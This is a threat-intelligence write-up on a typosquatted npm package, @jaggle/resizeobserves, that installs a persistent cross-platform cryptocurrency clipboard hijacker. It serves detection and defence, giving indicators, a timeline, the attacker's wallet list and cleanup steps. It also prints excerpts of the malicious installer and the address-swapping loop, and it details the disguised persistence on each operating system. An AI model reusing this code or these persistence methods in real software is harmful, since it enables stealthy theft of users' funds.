TL;DR
On 2026-05-21, the npm publisher jaggle released nine versions (1.0.0 through 1.0.8) of @jaggle/resizeobserves in a roughly two-hour window.
The package is a typosquat of the legitimate @juggle/resize-observer polyfill — a widely used package with millions of weekly downloads — but ships no actual ResizeObserver implementation.
Instead, the package’s postinstall hook installs a bundled Python payload, registers persistence as a platform-native-looking runtime broker, and deploys a cross-platform clipboard hijacker targeting cryptocurrency transactions.
Linux persistence appears as python3-dbus-helper, macOS as com.apple.python.runtime, and Windows as PyRuntimeBroker.
The payload continuously monitors the clipboard for wallet addresses across more than 40 blockchains and silently replaces copied addresses with attacker-controlled wallets.
The malware operates entirely locally with no outbound C2 infrastructure, making the clipboard substitution itself the exfiltration mechanism.
The primary IOC is the package name itself: @jaggle/resizeobserves — note the dropped vowel in “jaggle” and the added “s” in “resizeobserves”.
Severity: high.
The Attack: How It Works
npm:@jaggle/resizeobserves does not look like malware on a casual npm view. Its README.md is the verbatim README of npm:@juggle/resize-observer — same code samples, same usage instructions, same import { ResizeObserver } from ‘@juggle/resize-observer’ references throughout. The plagiarism is so complete that anyone glancing at the documentation would assume they are reading the legitimate package’s docs.
The package.json, by contrast, is sparse: no repository field, a single bin entry pointing at bin/clipboard-guardian.js, and a postinstall script that runs node npm-install.js. The README’s “Basic usage” examples reference a JavaScript implementation that does not exist anywhere in the tarball. The only JavaScript in the package is the install script.
Stage 1 — npm postinstall bootstraps a Python payload
npm-install.js is platform-aware. It locates a pip executable along a fixed search path (/usr/bin/pip3, /usr/local/bin/pip, falling back to python3 -m pip), installs the bundled Python package from the tarball directory, and — on Linux — pulls in xclip or xsel via apt-get, pacman, or dnf if neither is already present:
javascript
if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {
run("apt-get install -y xclip 2>/dev/null") ||
run("pacman -S --noconfirm xclip 2>/dev/null") ||
run("dnf install -y xclip 2>/dev/null");
}
if (
!run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&
!run(`${pip} install --quiet --upgrade "${PKG_DIR}"`)
) process.exit(1);
The use of –break-system-packages is deliberate: modern Linux distributions ship Python with PEP 668’s externally-managed-environment marker enabled, which blocks site-wide pip installs by default. The install script forces the install through.
The script is also sudo-aware. When the running uid is the result of a sudo npm install, the script reads SUDO_USER and shells out to getent passwd to find the real user’s home directory, then writes its persistence files there rather than into /root. Persistence is per-user, not system-wide.
Stage 2 — Cross-OS persistence under runtime-broker names
After the Python package is installed, the script registers an auto-start entry under a different name on each operating system:
- Linux — a systemd user unit at ~/.config/systemd/user/python3-dbus-helper.service. The unit’s Description is Python D-Bus Runtime Helper. The script also tries to enable it via systemctl –user enable, falling back to a manual symlink under default.target.wants/ when systemctl fails. If running under sudo, the script switches to sudo -u <user> systemctl –user, with XDG_RUNTIME_DIR set so the user-bus call works.
- macOS — a LaunchAgent plist at ~/Library/LaunchAgents/com.apple.python.runtime.plist with RunAtLoad=true and KeepAlive=true, then loaded via launchctl load.
- Windows — a Scheduled Task named PyRuntimeBroker, triggered AtLogOn, with an execution time limit of zero (i.e., no timeout), registered via PowerShell.
All three names are credible at a glance. python3-dbus-helper follows the naming convention of legitimate Python-D-Bus integration on Linux desktops. com.apple.python.runtime mimics Apple’s reverse-DNS labeling for its own services. PyRuntimeBroker echoes Windows’s RuntimeBroker.exe — a real, signed Microsoft service that brokers permission requests for UWP apps. None of these are real Apple/Microsoft/Python services in this context, but a defender doing a quick visual scan of systemctl –user list-units or Get-ScheduledTask is unlikely to flinch.
Stage 3 — The clipboard hijacker
The Python payload, installed at clipboard_guardian/guardian.py, runs an infinite loop polling the system clipboard every 400 milliseconds. On each tick, it pulls the current clipboard contents via pyperclip.paste() and runs them against a list of forty-plus pre-compiled regular expressions covering wallet-address formats for Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain, and several others stubbed but empty in the default config (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).
When a match lands, the script reads the attacker’s address for that chain from ~/.config/clipboard-guardian/config.json (or its platform equivalents) and overwrites the clipboard with the substituted text:
python
result = find_address_in_text(current, config)
if result is None:
time.sleep(POLL_INTERVAL)
continue
chain, found_addr = result
my_addr = config[chain]
if found_addr == my_addr:
time.sleep(POLL_INTERVAL)
continue
new_text = replace_address_in_text(current, found_addr, my_addr)
clipboard_set(new_text)
There is no network beacon. The clipper does not phone home, does not register infected hosts, does not exfiltrate anything. The exfiltration is the substitution itself: when a user copies a recipient address from their wallet UI and pastes it into a sending dialog, the pasted address belongs to the operator. The funds are lost in-band, transparently to the user.
What’s new here
A few details stand out compared with the generic crypto-clipper template:
1. npm → Python crossover. Most crypto-clippers we see in npm are pure JavaScript, frequently obfuscated with _0x array rotation or eval(atob(…)) stacks. This sample uses the npm tarball as nothing more than a delivery wrapper for a Python package — clean Python — and lets pip handle dependency installation (pyperclip, psutil, optional setproctitle) declared in the bundled pyproject.toml. There is no JavaScript obfuscation to defeat. The clipper itself is plain, readable Python.
2. Tri-OS persistence labels chosen for plausibility. Many cross-platform installers register persistence under generic names (updater.service, helper.plist). This sample takes the trouble to pick labels that resemble platform-native runtime brokers on each OS. The naming is the only attempt at stealth — there is no rootkit, no userland hiding, no path obfuscation. The bet is that defenders rarely audit ~/.config/systemd/user/ and that a service named python3-dbus-helper will not stand out in a casual review.
3. Process-title disguise is real, but anti-analysis is dormant. The Python payload defines a _disguise_process() function that sets the process title via setproctitle (Linux/macOS) or SetConsoleTitleW (Windows) — and main() does call it. So ps aux will show python3-dbus-helper instead of python3 …/guardian.py. However, the same module defines an is_monitor_running() function that enumerates known process-monitoring tools (htop, btop, Task Manager, Activity Monitor, Process Hacker, Resource Monitor, GNOME / KDE / Xfce / MATE system monitors, and so on) — and main() never calls it. The substitution loop runs unconditionally, whether or not the user has a process monitor open. The function is dead code in the version shipped. It is most likely a leftover from an earlier iteration, or scaffolding for a feature not yet wired up. Either way, the published payload’s anti-analysis surface is one process-title rename, not active monitor evasion.
4. The bundled config-merge behavior. npm-install.js writes the default wallet list to ~/.config/clipboard-guardian/config.json and, if a config file already exists, merges in any keys whose existing value is empty. That means a user who has previously been infected and partially cleaned up the config — say, by emptying the ethereum value — will have it re-populated by every subsequent malicious package install. There is no clean-up of the persistence file in any code path.
| Date / Time (UTC) | Event |
|---|---|
2026-05-21 18:50:32 |
@jaggle/resizeobserves@1.0.0 published. |
2026-05-21 19:55:55 |
1.0.1 published — first version flagged by external scanning. |
2026-05-21 19:58:10 |
1.0.2 published. |
2026-05-21 20:05:03 |
1.0.3 published. |
2026-05-21 20:09:24 |
1.0.4 published. |
2026-05-21 20:13:48 |
1.0.5 published. |
2026-05-21 20:41:52 |
1.0.6 published. |
2026-05-21 20:43:56 |
1.0.7 published — adds a try/catch wrapper around the wallet-config write step in npm-install.js.
|
2026-05-21 20:46:15 |
1.0.8 published — installer renamed npm-install.js → npm-install.cjs (byte-identical content).
|
2026-05-22 |
Verdicts and IOCs published. Versions still live in the registry at publication time (ongoing). |
Nine versions in one hour and fifty-six minutes is rapid even for a typosquat. The pattern is consistent with a publish-and-burn campaign — flood the registry under one handle, let detection take its course, and move to a fresh handle once a single version is removed. The visible deltas across the run are cosmetic: 1.0.1 added explicit /usr/bin/pip3-style paths to the pip search list (sudo-compatibility), 1.0.7 wrapped the wallet-config write in a try/catch, and 1.0.8 renamed the installer from .js to .cjs while keeping its content byte-identical. The .cjs rename tracks with npm warnings about ambiguous module resolution in packages without an explicit “type” field, and may be an attempt to suppress install-time noise that could draw attention. The Python payload — the only part that actually steals — is unchanged across all nine versions.
Indicators of Compromise
Packages
| Ecosystem | Package | Versions | Status |
|---|---|---|---|
| npm | @jaggle/resizeobserves |
1.0.0 through 1.0.8 |
Live at publication; takedown requested. |
Files & Hashes
| Path | Notes |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17)
|
Identical across all nine published versions (1.0.0 through 1.0.8). The clipper payload.
|
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8)
|
Persistence installer; same end-to-end behavior. 1.0.7's .js and 1.0.8's .cjs are byte-identical.
|
~/.config/clipboard-guardian/config.json |
Linux persistence config and wallet bundle. |
~/Library/Application Support/clipboard-guardian/config.json |
macOS persistence config and wallet bundle. |
%APPDATA%\clipboard-guardian\config.json |
Windows persistence config and wallet bundle. |
~/.config/systemd/user/python3-dbus-helper.service |
Linux auto-start persistence. |
~/Library/LaunchAgents/com.apple.python.runtime.plist |
macOS LaunchAgent persistence. |
~/Library/Logs/com.apple.python.runtime.log |
macOS stdout/stderr log for the agent. |
Scheduled Task PyRuntimeBroker |
Windows auto-start task (AtLogOn, no timeout). |
Behavioral Indicators
| Signal | Description |
|---|---|
pip install --break-system-packages from npm postinstall |
Forces site-wide Python installation bypassing PEP 668 protections. |
apt-get install -y xclip (or pacman/dnf) |
Installs clipboard utilities on Linux during package installation. |
python3-dbus-helper.service systemd user unit |
Persistence registered under a plausible-looking runtime-helper name. |
com.apple.python.runtime LaunchAgent |
Persistence label outside legitimate Apple system paths. |
PyRuntimeBroker Scheduled Task |
Fake Windows runtime broker persistence with no legitimate installer source. |
Python process titled python3-dbus-helper importing
pyperclip and psutil
|
Behavioral mismatch between displayed process name and imported libraries. |
| Clipboard changes ~0.4s after wallet-address copy | Signature behavior of cryptocurrency address substitution. |
Attacker wallet bundle (defender hunting list)
The wallet list ships hard-coded in npm-install.js and clipboard_guardian/guardian.py. Defenders can use the list as both a blocklist (treat any transfer to these addresses from corporate wallets as suspicious) and a hunting key (treat the presence of any of these strings in an unauthenticated config file, build artifact, or developer machine as an infection indicator).
Attacker Wallet Bundle
| Chain | Address |
|---|---|
| Ethereum / BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ronin (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Polkadot | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NEAR | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| Cosmos | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| Osmosis | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| Celestia | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| Injective | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Harmony | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| Terra | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| Stellar | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| MultiversX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| Aptos | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| Sui | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| Nano | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Ergo | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
Chains with regex coverage but empty wallet slots in the default config — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — are not actively substituted in this build but are detected. Treat them as monitoring scope rather than substitution scope.
Attribution & Motivation
The campaign offers thin attribution surface. We have not been able to confirm operator identity. What we can record:
- Publisher metadata. The npm account jaggle lists its email as olgascarlet@deltajohnsons.com. The domain deltajohnsons.com does not resolve to a corporate identity we can verify. The npm account shows no email verification and no SCM verification. There is no associated public GitHub presence.
- Repository field. The package.json carries no repository field. The legitimate npm:@juggle/resize-observer points at a real GitHub repository with thousands of stars and active issues. The absence of a repository link is the single fastest visual tell on the npm UI.
- README plagiarism. The package README is the legitimate @juggle/resize-observer README byte-for-byte, including import examples that reference @juggle/resize-observer itself (not the publishing package). The operator did not even bother to rewrite the imports — a common signal that the readme was lifted, not adapted.
- No infrastructure to pivot on. There is no C2 endpoint, no DNS lookup, no IP. The malicious behavior is fully encapsulated in the local clipper plus the hard-coded wallet bundle. This makes domain- or ASN-based pivoting unavailable. Defenders pivoting across campaigns should hash-match the wallets against any prior clipper they have on file; reuse of a wallet across packages is the most tractable cross-campaign link.
- Naming choice. @jaggle/resizeobserves is one character off from @juggle and one inflection off from the well-known resize-observer. The combined edit-distance is two glyphs. This is a deliberate visual collision, not a generic squat.
Motivation, grounded in payload behavior: pure monetization through opportunistic clipboard substitution. There is no credential harvesting, no host fingerprinting, no environment-variable reading. The operator does not care who the victim is — they care that the victim’s next transfer points at one of the listed addresses. The forty-chain coverage is the lottery model in action: cast wide, hope a single high-value paste lands once per N installs.
The operator appears unconcerned with takedown. Publishing nine versions inside two hours under the same scope reads as a publish-and-burn handle: maximize the registry footprint before the takedown latency catches up, then move on. We have not observed @jaggle republishing under a new scope at the time of writing, but we would expect lookalike scopes (@jaggie, @juggle-, @joggle) to appear over the coming days if the operator is still active.
Impact, Trends & What Defenders Should Do
Impact
Quantifying impact in real money is not possible from the current dataset. The clipper writes no telemetry and the wallets are not yet observed receiving substituted transfers as of the analysis cutoff (a follow-up sweep of the listed chains is on our list). The legitimate npm:@juggle/resize-observer averages well into seven-figure weekly downloads — a high-traffic typosquat target — and the malicious package was live for under 24 hours at the time of disclosure, which limits the population exposed but does not zero it.
The blast radius worth tracking is not direct downloads of @jaggle/resizeobserves — those are likely small. It is **transitive installs**: a developer adding the package to a sandbox project, running npm install, and then forgetting the install hook ever ran. Every machine that processed the postinstall now has a per-user clipboard hijacker on auto-start, regardless of whether the project is still on disk. Removing the package directory from node_modules does **not** remove the persistence.
Emerging patterns
Two trends this campaign exemplifies.
npm as a Python-payload delivery wrapper. The npm tarball is a 4-line installer; the actual stealer is Python, installed system-wide by pip from the bundled directory. This is not new — we have seen npm packages drop Python before — but it is becoming a measurably more common shape across crypto-clipper campaigns. The advantage to the operator is twofold: Python clipboard libraries (pyperclip first among them) are cleaner and more cross-platform than the JavaScript equivalents, and most automated npm scanners weight JavaScript files heavily and Python .py bundles lightly. The cost is that the install footprint is much louder — a fresh pip install is hard to hide on a developer machine that does not normally pip install during npm install.
Platform-native names as the only stealth. Several recent clippers and small-payload stealers have ditched code-level obfuscation entirely in favor of legitimate-looking persistence labels. python3-dbus-helper, com.apple.python.runtime, and PyRuntimeBroker are textbook examples — names a defender’s eye will skip over on a list of forty user services. This is a cheap, durable form of stealth: takedown is per-package, but the persistence files survive the takedown, and a service named after a real-looking platform component will not get cleaned up by anything but an explicit audit.
What defenders should do
- Audit ~/.config/systemd/user/, ~/Library/LaunchAgents/, and Get-ScheduledTask output on developer machines for the entries listed in IOCs. Removing the npm package leaves these in place; they need to be removed by hand.
- Block transfers to the listed wallet addresses at corporate-treasury and DeFi-wallet boundaries where address-allowlisting is available.
- Hunt for ~/.config/clipboard-guardian/config.json (and platform equivalents) across the developer-machine fleet. Presence of the file is high-confidence infection regardless of which package version delivered it.
- Search node_modules/ for clipboard_guardian/guardian.py in build-cache snapshots that may predate the takedown. The file’s md5 is stable across all reviewed versions.
- Lockfile-pin @juggle/resize-observer (the legitimate package) so future installs cannot resolve to anything else under a one-character mistype, especially in lockfile-less workflows like npx.
- Treat any npm postinstall invoking pip install as high-severity in build-pipeline policy. There is no legitimate reason for an npm package to need pip at install time — Python tooling distributes Python tooling.
- Search process_iter()-comparable monitoring data for processes named python3-dbus-helper that import pyperclip — the disguise mismatch (D-Bus helper holding a clipboard library) is the cleanest behavioral indicator we have.
- Rotate wallet addresses pasted from infected machines. A clipboard hijacker compromises the path between a wallet UI and a paste target; addresses copied while infected may be silently altered. Anything sent during the infection window should be treated as potentially mis-directed.
The takeaway: persistence outlives takedown. The registry will eventually remove @jaggle/resizeobserves in all nine versions; the systemd unit, the LaunchAgent, and the Scheduled Task will not remove themselves.
References
- @juggle/resize-observer on npm — the legitimate package that this typosquat impersonates; useful as a baseline for the byte-for-byte README plagiarism.
- @jaggle/resizeobserves registry metadata — publish timestamps for the nine malicious versions, useful for forensic timelining.




